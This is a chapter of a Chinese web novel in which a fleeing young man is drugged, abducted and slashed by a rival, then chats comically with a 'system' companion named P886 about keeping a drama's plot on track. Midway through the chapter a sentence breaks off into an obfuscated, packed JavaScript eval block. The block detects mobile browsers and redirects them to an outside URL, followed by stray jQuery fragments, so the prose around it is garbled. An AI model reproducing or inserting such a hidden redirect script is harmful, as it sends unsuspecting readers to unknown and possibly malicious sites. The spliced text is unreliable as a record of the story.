薄叶月撑着伞奔跑在庭院里。
天地间一片潮湿的朦胧,狂风吹过,垂直的雨丝斜成牛毛一般牵连在薄叶月身上。厚重的和服衣料打湿了,其上沾着的鲜血晕染开来,血腥味散入风中。
身后传来脚步声和人声,似乎还有惊叫。薄叶月大步往前跑着,木屐在青石板地面上敲出急促的脆音,他的袜子也湿透了,紧紧裹着脚掌。
薄叶月来到后门,发现后门今天锁着。回头望了一眼,哗啦啦的雨帘中,他来时的路上并未留下血迹,便随手将手上的长伞扔进一旁茂盛的竹林中,脱下走动不便的高齿木屐,把木屐丢过了院墙。
他双手空空、只着袜子站在雨中,雨水顷刻浇透了他,在一身红衣的衬托下,他脸庞几乎像是透明的。薄叶月搬来旁边装饰用的方形石墩,踩着它攀上院墙,从院子里翻了出去。鲜红的和服散开,像铺陈的火鸟的尾羽。
天幕彻底被乌云染污了,黑压压如同浸泡在墨里的棉絮。萧条的水路上只有闪电紫色的光,薄叶月重新穿上木屐,紧紧握着腰间的武士刀,朝着远离薄叶家的方向走去。
他已联系了大和柏野,但薄叶家的宅邸建立在半山腰,大和家派出的车不便上山,他需要步行走过一段山路。
昏暗中薄叶月的袜子浸湿了,走路时发出轻微的咯吱声。他穿越竹海的重重阻障,冒雨终于走到山下,看见了熟悉的黑色宾利车。
透过车窗,他看见黑口组的二把手——刀郎,那张不好惹的脸。越过他,在车灯与外界昏黑天色交构的光影中,他依稀看见一个强悍的男人轮廓,立起的风衣衣领挺拔,挨着线条刚硬的下巴。
薄叶月正待走近,忽然从斜里冲出了两个披着黑雨衣的男子,用沾了□□的手巾用力捂住他的口鼻。薄叶月向着前方挣扎,手臂在雨幕中朝着车身伸出,雨珠在他白皙的腕子上砸出水花,然而吸入的药物叫他身体脱力,被强行拖上了一旁的面包车。
他再醒过来时已经被绑在了椅子上。
这是一间昏暗的仓库,腐朽的灰尘气息在周遭蔓延,能听到海浪拍击石礁的声音,从通风口中飘进来咸涩的鱼腥味,大约是在某个港口。
薄叶月动了动胳膊,他的双手被分别绑在椅子扶手上,用的是打渔的绿麻绳,绑得很紧。距离他昏迷应该已经过了一段时间,他的头发和衣服都半干了,发丝结成黝黑的几缕垂在肩头。
他不知道自己为什么会被绑来这里,却奇异的没有心生恐惧——在亲手将刀捅进薄叶林间的腹部之后,他的心就变得很平静。原本总是纠缠着他的担忧、恐慌、期冀、失望……一切的一切都消散了,他好像无渴求,因此无可惧。
在发现无法挣脱之后,薄叶月放弃了挣扎,就这样坐在原地。
不知道过了多久,可能是半个小时,也可能是更长时间,脚步声从仓库外传来,逐渐加重、靠近。
潮湿的衣服贴着身体,薄叶月的体温降低,有些混沌的意识被这阵声音惊动,他支起脖颈,脊骨在苍白的皮肉下起伏出一个凸起的弧度。薄叶月睁开眼皮,看着星咏哲平走到了面前。
啪!
星咏哲平神情阴鸷,没有说话,先重重抽了他一巴掌。
薄叶月被打得偏过头去,右颊上立刻浮现出红肿的指印,唇角破裂,流淌出丝丝鲜血。
星咏哲平短而粗的五指穿进他的发顶,抓住了他的头发往上提起。薄叶月被迫扬起头,对上星咏哲平居高临下的目光,他的咽喉延展着,暴露在这危险的逼视下。
“你这个给人*大的男妓。”星咏哲平唾了一口:“竟敢占我妹子的位子,让她蒙受这种屈辱!”
“你晓得她为大和雄川流了多少眼泪?大和雄川是个烂心肝的花心男人,生的儿子,大和柏野更是个养不熟的畜生!他们活该都去死,拿大和家的家产作为给我妹子这些年所受委屈的赔礼!”
薄叶月无波无澜的心抽动了一下。
他自然能听出星咏哲平为妹妹伸冤只是托词,是掩盖他贪图大和家产业的借口,然而,星咏池下毕竟还有这样一位兄长为她撑腰,口中诉说着她的委屈,星咏哲平谈及星咏池下时的愤怒也是真实的——在这凄风苦雨的仓库中,前路未明的境况下,承受暴力的薄叶月竟生出朦胧的倾羡。
他低声说:“......你绑了我,又有什么用呢?”
星咏哲平狞笑起来:“怎么会没有用?薄叶林间那个废物,说要我和联手,把你弄回去后半途抽身,害我差点死在大和柏野手下。他很在意你吧?你在我手里,他不敢轻举妄动,只能听我的。”
“再说除了他,大和柏野这个小畜生对你好似也不一般。今天停在山脚下的那辆车是他的,我认得出来,他竟然亲自去接你?无论你为什么从薄叶家的庇护下离开,他都不该在没得到许可的时候贸然出现在薄叶家的地盘上......”
他抽出短刀,用刀尖拍了拍薄叶月的脸颊:“看看你,真是娇滴滴生了张美人脸,要这么些人为你破了做事的原则呐!”
薄叶月不愿意忍受这种轻浮,扭过头去,这举动激怒了星咏哲平。他猛然扬刀,雪白的刀刃划过薄叶月浮着紫红指印的右颊,皮肉深深豁开,从中滚涌出鲜血来。
面颊锐痛,薄叶月闷哼一声,却平静地抬眼望向星咏哲平。
“要让你失望了,和你想的不同,你拿我威胁不了谁。”
“呵,那可不一定!我已经通知了大和柏野,让他独自过来,不能带人也不能带武器……就让我们看看,他到底会不会为了你来这里。就算不会我也不吃亏,还能拿你和薄叶林间做一笔生意。”
星咏哲平哼笑两声,撒开了抓着他的手,视线轻蔑地上下扫过他,将见血了的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449322|167354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
短刀插回腰间,转身走了。
仓库门开启,狂风夹着雨水灌入,呜呜鸣咽着。随着星咏哲平离开,风雨呼啸的声音歇止,大门合拢推挤光线,整个仓库安静下来,重新陷入模糊的灰暗。
鲜血顺着脸颊流到下巴,薄叶月垂下的脑袋缓缓昂起,脸上已然变了表情。
薄叶月:“……妈的。”
P886:“脸不痛吧?他打你的时候我立刻把痛觉数据降低到蚊子咬的程度了。”
薄叶月:“痛倒是不痛,但是你能给我解释一下我为什么会出现在这里吗?星咏哲平该绑架的人不是水无灯?”
P886:“呃,这很难评。”
P886:“但换个角度来想,剧情点都对上了。大和柏野继承大和家、当上黑口组组长,星咏哲平走投无路,绑架某人同时威胁大和、薄叶与水无三家,我们已经成功进入了剧情的尾声。”
薄叶月:“呵呵,所以呢,这个某人变成了我,这对吗?‘同时威胁大和、薄叶与水无三家’,我能威胁得到谁啊!!”
P886镇定地一扬手:“一理,冷静。大和柏野给你用来拷贝薄叶家机密的硬盘还在你身上,虽然你没拷,但大和柏野也不知道,冲着这个他也会来救你的。薄叶林间......如果他没死的话应该也会来吧,再加上把你当好朋友的水无灯,三个家族这不就齐活了吗!”
薄叶月就这样被说服......被说服个屁啊!
薄叶月:“薄叶林间肚子被我捅穿了啊!他怎么来!我逃走之前看见薄叶澄的眼神,我怀疑这变态小子想要篡位了,说不定薄叶林间不死在我手上也要死在他手上......水无灯更不可能,他怎么知道我被绑架?”
P886:“剧情里你不就能知道水无灯被绑架了吗?”
薄叶月:“那是因为我跟踪他啊!”
P886:“呃、有没有一种可能,他也......”
薄叶月:“够了,小P,虽然水无灯也爱加戏但他是除视帝之外唯一比较正常的人了,我能看出他是有职业素养的,加戏可能只是太想进步了。你不要为了圆剧情就幻想人家是跟踪狂,这太不道德了!”
P886:“好吧。”
薄叶月深深叹了口气,P886被他感染,也变得忧愁起来,在这个满是灰尘的废弃仓库转了一圈。
不过很快,薄叶月又打起了精神:“没关系,剧情里大和柏野是要来救水无灯的。凭借视帝的敬业,就算对象变成了我他也会来!”
说到这里,薄叶月不可避免地想起了和醉酒的视帝的那场床戏,后颈微红,尴尬地停顿了一下,但还是顽强地说完了。
“视帝来了一定就有办法圆剧情的,小P,我们要相信视帝!”
P886也没其他办法,只好跟风:“好吧,相信视帝。”